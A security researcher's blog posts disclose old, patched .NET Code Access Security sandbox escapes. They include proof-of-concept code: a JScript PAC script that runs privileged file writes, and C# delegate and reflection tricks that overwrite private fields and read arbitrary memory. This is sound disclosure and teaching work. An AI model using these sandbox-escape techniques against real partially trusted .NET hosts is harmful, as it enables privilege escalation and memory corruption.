Showing posts with label Old Vulns. Show all posts
Showing posts with label Old Vulns. Show all posts

Thursday, 7 May 2020

Old .NET Vulnerability #5: Security Transparent Compiled Expressions (CVE-2013-0073)

It's been a long time since I wrote a blog post about my old .NET vulnerabilities. I was playing around with some .NET code and found an issue when serializing delegates inside a CAS sandbox, I got a SerializationException thrown with the following text:

Cannot serialize delegates over unmanaged function pointers, 
dynamic methods or methods outside the delegate creator's assembly.
   
I couldn't remember if this has always been there or if it was new. I reached out on Twitter to my trusted friend on these matters, @blowdart, who quickly fobbed me off to Levi. But the take away is at some point the behavior of Delegate serialization was changed as part of a more general change to add Secure Delegates.

It was then I realized, that it's almost certainly (mostly) my fault that the .NET Framework has this feature and I dug out one of the bugs which caused it to be the way it is. Let's have a quick overview of what the Secure Delegate is trying to prevent and then look at the original bug.

.NET Code Access Security (CAS) as I've mentioned before when discussing my .NET PAC vulnerability allows a .NET "sandbox" to restrict untrusted code to a specific set of permissions. When a permission demand is requested the CLR will walk the calling stack and check the Assembly Grant Set for every Stack Frame. If there is any code on the Stack which doesn't have the required Permission Grants then the Stack Walk stops and a SecurityException is generated which blocks the function from continuing. I've shown this in the following diagram, some untrusted code tries to open a file but is blocked by a Demand for FileIOPermission as the Stack Walk sees the untrusted Code and stops.

View of a stack walk in .NET blocking a FileIOPermission Demand on an Untrusted Caller stack frame.

What has this to do with delegates? A problem occurs if an attacker can find some code which will invoke a delegate under asserted permissions. For example, in the previous diagram there was an Assert at the bottom of the stack, but the Stack Walk fails early when it hits the Untrusted Caller Frame.

However, as long as we have a delegate call, and the function the delegate calls is Trusted then we can put it into the chain and successfully get the privileged operation to happen.

View of a stack walk in .NET allowed due to replacing untrusted call frame with a delegate.

The problem with this technique is finding a trusted function we can wrap in a delegate which you can attach to something such a Windows Forms event handler, which might have the prototype:
void Callback(object obj, EventArgs e)

and would call the File.OpenRead function which has the prototype:

FileStream OpenRead(string path).

That's a pretty tricky thing to find. If you know C# you'll know about Lambda functions, could we use something like?

EventHandler f = (o,e) => File.OpenRead(@"C:\SomePath")

Unfortunately not, the C# compiler takes the lambda, generates an automatic class with that function prototype in your own assembly. Therefore the call to adapt the arguments will go through an Untrusted function and it'll fail the Stack Walk. It looks something like the following in CIL:

Turns out there's another way. See if you can spot the difference here.

Expression lambda = (o,e) => File.OpenRead(@"C:\SomePath")
EventHandle f = lambda.Compile()

We're still using a lambda, surely nothing has changed? We'll let's look at the CIL.

That's just crazy. What's happened? The key is the use of Expression. When the C# compiler sees that type it decides rather than create a delegate in your assembly it'll creation something called an expression tree. That tree is then compiled into the final delegate. The important thing for the vulnerability I reported is this delegate was trusted as it was built using the AssemblyBuilder functionality which takes the Permission Grant Set from the calling Assembly. As the calling Assembly is the Framework code it got full trust. It wasn't trusted to Assert permissions (a Security Transparent function), but it also wouldn't block the Stack Walk either. This allows us to implement any arbitrary Delegate adapter to convert one Delegate call-site into calling any other API as long as you can do that under an Asserted permission set.

View of a stack walk in .NET allowed due to replacing untrusted call frame with a expression generated delegate.

I was able to find a number of places in WinForms which invoked Event Handlers while asserting permissions that I could exploit. The initial fix was to fix those call-sites, but the real fix came later, the aforementioned Secure Delegates.

Silverlight always had Secure delegates, it would capture the current CAS Permission set on the stack when creating them and add a trampoline if needed to the delegate to insert an Untrusted Stack Frame into the call. Seems this was later added to .NET. The reason that Serializing is blocked is because when the Delegate gets serialized this trampoline gets lost and so there's a risk of it being used to exploit something to escape the sandbox. Of course CAS is dead anyway.

The end result looks like the following:

View of a stack walk in .NET blocking a FileIOPermission Demand on an Untrusted Trampoline Stack Frame.

Anyway, these are the kinds of design decisions that were never full scoped from a security perspective. They're not unique to .NET, or Java, or anything else which runs arbitrary code in a "sandboxed" context including things JavaScript engines such as V8 or JSCore.


Monday, 15 December 2014

Old .NET Vulnerability #2+3: Reflection Delegate Binding Bypass (CVE-2012-1895 and CVE-2013-3132)

Reflection is a very useful feature of frameworks such as .NET and Java, but it has interesting security issues when you're trying to sandbox code. One which is well known is how much the framework will try to emulate the normal caller visibility scoping for reflection APIs which would exist if the code was compiled. Perhaps that needs a bit of explanation, imagine you have a C# class which looks something like the following:
public class UnsafeMemory {
   IntPtr _ptr;
   ushort _size;

   public UnsafeMemory(ushort size) {
       _ptr = Marshal.AllocCoTaskMem(size);
       _size = size;
   }

   public byte ReadByte(ushort ofs) {
       if (ofs < _size) {
             return Marshal.ReadByte(_ptr, ofs);
       }

       return 0;
   }
}

This has a sensitive field, a pointer to a locally allocated memory structure which we don't want people to change. The built-in accessors don't allow you to specify anything other than size (which is also sensitive, but slightly less so). Still reflection allows us to change this from a fully trusted application easily enough:
UnsafeMemory mem = new UnsafeMemory(1000);
FieldInfo fi = typeof(UnsafeMemory).GetField("_ptr", 
                  BindingFlags.NonPublic | BindingFlags.Instance);

fi.SetValue(mem, new IntPtr(0x12345678));

As we've set the pointer, we can now read and write to arbitrary memory addresses. Flushed with success we try this in our partially trusted application and we get:
System.FieldAccessException: Attempt by method 
             ReflectionTests.Program.Main()' to 
             access field 'ReflectionTests.UnsafeMemory._ptr' failed.
   at System.Reflection.RtFieldInfo.PerformVisibilityCheckOnField()
   at System.Reflection.RtFieldInfo.InternalSetValue()
   at System.Reflection.RtFieldInfo.SetValue()
   at System.Reflection.FieldInfo.SetValue()
   at ReflectionTests.Program.Main()

Well that sucks! PerformVisibilityCheckOnField is implemented by the CLR so we can't easily look at it's implementation (although it's in the SSCLI). But I think we can guess what the method is doing. The CLR is checking who's calling the SetValue method and verifying the visibility rules for the field. As the field is private only the declaring class should be able to set it via reflection, we can verify that easily enough. Let's modify the class slightly to add a new method:
public static void TestReflection(FieldInfo fi, object @this, object value) {
    fi.SetValue(@this, value);
}

If we call that method from our partial trust code it succeeds, thus confirming our assumptions about the visibility check. This can be extended to any reflection artefact, properties, methods, constructors, events etc. Still the example method is hardly going to be a very common coding pattern, so instead let's think more generally about visibility in the .NET framework to see if we can find a case where we can easily bypass the visibility.  There are actually many different visibility levels in the CLR which can be summarised as:
Name in CLR Name in C# Visibility
Public public Anybody
Family protected Current class and derived classes
FamilyAndAssembly No Equivalent Current class or derived classes in same assembly
FamilyOrAssembly protected internal Current class and derived classes or assembly
Assembly internal Current assembly
Private private Current class

Of most interest is Assembly (or internal in C#) as you only have to take a quick peek at something like mscorlib to see that this visibility is used a lot to protect sensitive classes and methods by localizing them to the current assembly. The Assembly visibility rule means that any class in the same assembly can access the field or method. When dealing with something like mscorlib, which has at least 900 public classes you can imagine that would give you something you could exploit. Turns out a good one to look at is the handling of delegates, if only for one reason, you can get them to call a method with the caller set to a something in mscorlib, by using asynchronous dispatch.

For example if we run the following code we can get the calling method from the delegate, this correctly removes methods which the CLR considers to be part of the delegate dispatch.
Func<MethodBase> f = new Func<MethodBase>(() => 
              new StackTrace().GetFrame(1).GetMethod());
MethodBase method = f();

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: ReflectionTests.Program::Main

Not really surprising, the caller was our Main method. Okay now what if we change that to using asynchronous dispatch, using BeginInvoke and EndInvoke?
Func<MethodBase> f = new Func<MethodBase>(() => 
      new StackTrace().GetFrame(1).GetMethod());

IAsyncResult ar = f.BeginInvoke(null, null);
MethodBase method = f.EndInvoke(ar);

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: System.Runtime.Remoting.Messaging.StackBuilderSink::_PrivateProcessMessage

How interesting, the code thinks the caller's an internal method to mscorlib, hopefully you can see where I'm going with this? Okay let's put it all together, lets create a delegate pointing to FieldInfo.SetValue, call it via asynchronous dispatch and it's time to party.
Action<object, object> set_info = new Action<object,object>(fi.SetValue);

IAsyncResult ar = set_info.BeginInvoke(mem, new IntPtr(0x12345678), null, null);
set_info.EndInvoke(ar);

This works as expected with full trust but running it under partial trust we get the dreaded SecurityException
System.Security.SecurityException: Request for the permission 
       of type 'System.Security.Permissions.ReflectionPermission' failed.
   at System.Delegate.DelegateConstruct()
   at ReflectionTests.Program.Main()

So why is this the case. Well the developers of .NET weren't stupid, they realised being able to call a reflection API using another reflection API (which delegates effectively are) is a security hole waiting to happen. So if you try and bind a delegate to certain set of methods it will demand ReflectionPermission first to check if you're allowed to do it. Still while I said they weren't stupid, I didn't mean they don't mistakes as this is the crux of the two vulnerabilities I started writing this blog post about :-)

The problem comes down to this, what methods you can or cannot bind to are just a black-list. Each method is allocated a set of invocation flags represented by the System.Reflection.INVOCATION_FLAGS enumeration. Perhaps the most important one from our perspective is the INVOCATION_FLAGS_FIELD_SPECIAL_CAST flag. This is a bit strangely named, but what this indicates is the method should be double checked if it's ever invoked through a reflection API. If we look at FieldInfo.SetValue we'll find it has the flag set.

Okay so the challenge is simple, just find a method which is equivalent to SetValue but isn't FieldInfo.SetValue. It turns out that FieldInfo implements the interface System.Runtime.InteropServices._FieldInfo which is a COM interface for accessing the FieldInfo object. It just so happened that someone forgot to add this interface's methods to the blacklist. So let's see a real PoC by abusing the WeakReference class and its internal m_handle field:
// Create a weak reference to 'tweak'
string s = "tweakme";
WeakReference weakRef = new WeakReference(s);

// Get field info for GC handle
FieldInfo f = typeof(WeakReference).GetField("m_handle", 
                BindingFlags.NonPublic | BindingFlags.Instance);

MethodInfo miSetValue = typeof(_FieldInfo).GetMethod("SetValue", 
        BindingFlags.Public | BindingFlags.Instance, null, 
 new Type[2] { typeof(object), typeof(object) }, null);

Action<object, object> setValue = (Action<object, object>)
        Delegate.CreateDelegate(typeof(Action<object, object>),
 f, miSetValue);

// Set garbage value in handle
setValue.EndInvoke(setValue.BeginInvoke(weakRef, 
         new IntPtr(0x0c0c0c0c), null, null));

// Crash here read AV on 0x0c0c0c0c
Console.WriteLine(weakRef.Target.ToString());

CVE-2014-1895 described the issue with all similar COM interfaces, such as _MethodInfo, _Assembly, _AppDomain. So I sent it over to MS and it was fixed. But of course even though you point out a security weakness in one part of the code it doesn't necessarily follow that they'll fix it everywhere. So a few months later I found that the IReflect interface has an InvokeMember method which was similarly vulnerable. This ended up as CVE-2013-3132, by that point I gave up looking :-)

As a final note there was a similar issue which never got a CVE, although it was fixed. You could exploit it using something like the following:
MethodInfo mi = typeof(Delegate).GetMethod("CreateDelegate", 
    BindingFlags.Public | BindingFlags.Static, 
    null, new Type[] { typeof(Type), typeof(MethodInfo) }, null);

Func<Type, MethodInfo, Delegate> func = (Func<Type, MethodInfo, Delegate>)
           Delegate.CreateDelegate(typeof(Func<Type, MethodInfo, Delegate>), mi);
                
Type marshalType = Type.GetType("System.Runtime.InteropServices.Marshal");
MethodInfo readByte = marshalType.GetMethod("ReadByte", 
    BindingFlags.Public | BindingFlags.Static,
    null, new Type[] { typeof(IntPtr) }, null);

IAsyncResult ar = func.BeginInvoke(typeof(Func<IntPtr, byte>), readByte, null, null);
Func<IntPtr, byte> r = (Func<IntPtr, byte>)func.EndInvoke(ar);

r(new IntPtr(0x12345678)); 

It's left as an exercise for the reader to understand why that works (hint: it isn't a scope issue as Marshal.ReadByte is public). I'll describe it in more detail next time.

Sunday, 30 November 2014

Old .NET Vulnerability #1: PAC Script RCE (CVE-2012-4776)

This is the start of a very short series on some of my old .NET vulnerabilities which have been patched. Most of these issues have never been publicly documented, or at least there have been no PoCs made available. Hopefully it's interesting to some people.

The first vulnerability I'm going to talk about is CVE-2012-4776 which was fixed in MS12-074. It was an issue in the handling of Web Proxy Auto-Configuration scripts (PAC). It was one of the only times that MS has ever credited me with a RCE in .NET since they made it harder to execute .NET code from IE. Though to be fair making it harder might be partially my fault.

The purpose of a PAC script, if you've never encountered one before, is to allow a web client to run some proxy decision logic before it connects to a web server. An administrator can configure the script to make complex decisions on how outbound connections are made, for example forcing all external web sites through a gateway proxy but all Intranet connections go direct to the server. You can read all about it on Wikipedia and many other sites as well but the crucial thing to bear in mind is the PAC script is written in Javascript. The most basic PAC script you can create is as follows:
function FindProxyForURL(url, host) {
 // Always return no proxy setting
 return "DIRECT";
}
On Windows if you use the built-in HTTP libraries such as WinINET and WinHTTP you don't need to worry about these files yourself, but if you roll your own HTTP stack, like .NET does, you'd be on your own to reimplement this functionality. So when faced with this problem what to do? If you answered, "let's use a .NET implementation of Javascript" you'd be correct. Some people don't realise that .NET comes with its own implementation of Javascript (JScript for licensing reasons). It even comes with a compiler, jsc.exe, installed by default.

While I was having a look at .NET, evaluating anything interesting which asserts full trust permissions I came across the .NET PAC implementation. The following method is from the System.Net.VsaWebProxyScript class in the Microsoft.JScript assembly (some code removed for brevity):
[PermissionSet(SecurityAction.Assert, Name="FullTrust")]
public bool Load(Uri engineScriptLocation, string scriptBody, Type helperType)
{
    try
    {
        engine = new VsaEngine();
        engine.RootMoniker = "pac-" + engineScriptLocation.ToString();
        engine.Site = new VsaEngineSite(helperType);
        engine.InitNew();
        engine.RootNamespace = "__WebProxyScript";

        StringBuilder sb = new StringBuilder();
        sb.Append("[assembly:System.Security.SecurityTransparent()] ...");
        sb.Append("class __WebProxyScript { ... }\r\n");
        sb.Append(scriptBody);
        IVsaCodeItem item2 = engine.Items.CreateItem("SourceText", 
                   VsaItemType.Code, VsaItemFlag.None) as IVsaCodeItem;
        item2.SourceText = sb.ToString();

        if (engine.Compile())
        {
            engine.Run();
            scriptInstance = Activator.CreateInstance(
                 engine.Assembly.GetType("__WebProxyScript.__WebProxyScript"));
            CallMethod(scriptInstance, "SetEngine", new object[] { engine });
            return true;
        }
    }
    catch
    {
    }
    return false;
}
The code is taking the PAC script from the remote location as a string, putting it together with some boiler plate code to implement the standard PAC functions and compiling it to an assembly. This seems too good to be true from an exploit perspective. It was time to give it a try so I configured a simple .NET application with a PAC script by adding the following configuration to the application:
<configuration>
  <system.net>
    <defaultProxy>
   <proxy
  autoDetect="true"
  scriptLocation="http://127.0.0.1/test.js"
   />
    </defaultProxy>
  </system.net>
</configuration
Of course in a real-world scenario the application probably isn't going to be configured like this. Instead the proxy settings might be configured through WPAD, which is known to be spoofable or the system settings. When the application makes a connection using the System.Net.WebClient class it will load the PAC file from the scriptLocation and execute it. With a test harness ready let's try a few things:
import System;

function FindProxyForURL(url, host) {
 Console.WriteLine("Hello World!");
 return "DIRECT";
}
This printed out "Hello World!" as you'd expect, so we can compile and executing JScript.NET code. Awesome. So let's go for the win!
import System.IO;

function FindProxyForURL(url, host) {
 File.WriteAllText("test.txt", "Hello World!");
 return "DIRECT";
}
And... it fails, silently I might add :-( I guess we need to get to the bottom of this. When dealing with the internals of the framework I usually find it easiest to get WinDBG involved. All .NET frameworks come with a handy debugger extension, SOS, which we can use to do low-level debugging of .NET code. A quick tutorial, open the .NET executable in WinDBG and run the following two lines at the console.
sxe clr
sxe -c ".loadby sos mscorwks; gh" ld:mscorwks
What these lines do is set WinDBG to stop on a CLR exception (.NET uses Windows SEH under the hood to pass on exceptions) and adds a handler to load the SOS library when the DLL mscorwks gets loaded. This DLL is the main part of the CLR, we can't actually do any .NET debugging until the CLR is started. As a side note, if this was .NET 4 and above replace mscorwks with clr as that framework uses clr.dll as its main implementation.

Restarting the execution of the application we wait for the debugger to break on the CLR exception. Once we've broken into the debugger you can use the SOS command !pe to dump the current exception:


Well no surprises, we got a SecurityException trying to open the file we specified. Now at this point it's clear that the PAC script must be running in Partial Trust (PT). This isn't necessarily an issue as I still had a few PT escapes to hand, but would be nice not to need one. By dumping the call stack using the !clrstack command we can see that the original caller was System.Net.AutoWebProxyScriptWrapper. 

Looking at the class it confirms our suspicions of being run in PT. In the class' CreateAppDomain method it creates an Internet security AppDomain which is going to be pretty limited in permissions then initializes the System.Net.VsaWebProxyScript object inside it. As that class derives from MarshalByRefObject it doesn't leave the restricted AppDomain. Still in situations like this you shouldn't be disheartened, let's go back and look at how the assembly was being loaded into memory. We find it's being loaded from a byte array (maybe bad) but passing a null for the evidence parameter (awesome). As we can see in the remarks from Assembly.Load this is a problem:
When you use a Load method overload with a Byte[] parameter to load a COFF image, 
evidence is inherited from the calling assembly. This applies to the .NET Framework 
version 1.1 Service Pack 1 (SP1) and subsequent releases.
So what we end up with is an assembly which inherits its permissions from the calling assembly. The calling assembly is trusted framework code, which means our compiled PAC code is also trusted code. So why doesn't the file function work? Well you have to remember how security in AppDomains interact with the security stack walk when a demand for a permission is requested.

The transition between the trusted and the untrusted AppDomains acts as a PermitOnly security boundary. What this means is that even if every caller on the current stack is trusted, if no-one asserts higher permissions than the AppDomain's current set then a demand would fail as shown in the below diagram:



There are plenty of ways around this situation, in fact we'll see a few in my next post on this topic. But for now there's an easy way past this issue, all we need is something to assert suitable permissions for us while we run our code. Turns out it was there all along, the original Load method uses the attribute form of permission assertion to assert full trust.
[PermissionSet(SecurityAction.Assert, Name="FullTrust")]
We can get code to run in that method because the loading of the assembly will execute any global JScript code automatically, so a quick modification and we get privileged execution:
import System.IO;

File.WriteAllText("test.txt", "Hello World!");

function FindProxyForURL(url, host) { 
 return "DIRECT";
}
Why couldn't we have just done a new PermissionSet(PermissionState.Unrestricted).Assert() here? Well if you look at the code being generated for compilation it sets the SecurityTransparent assembly attribute. This tells the CLR that this code isn't allowed to elevate its permissions, but it's transparent to security decisions. If you have a trusted assembly which is transparent it doesn't effect the stack walk at all, but it also cannot assert higher permissions. This is why the assertion in the Load method was so important. Of course this assertion was what originally led me to finding the code in the first place.

Microsoft fixed this in two ways, first they "fixed" the JScript code to not execute under a privileged permission set as well as passing an appropriate evidence object to the Assembly load. And secondly they basically blocked use of JScript.NET by default (see the notes in the KB article here). If you ever find a custom implementation of PAC scripts in an application it's always worth a quick look to see what they're using.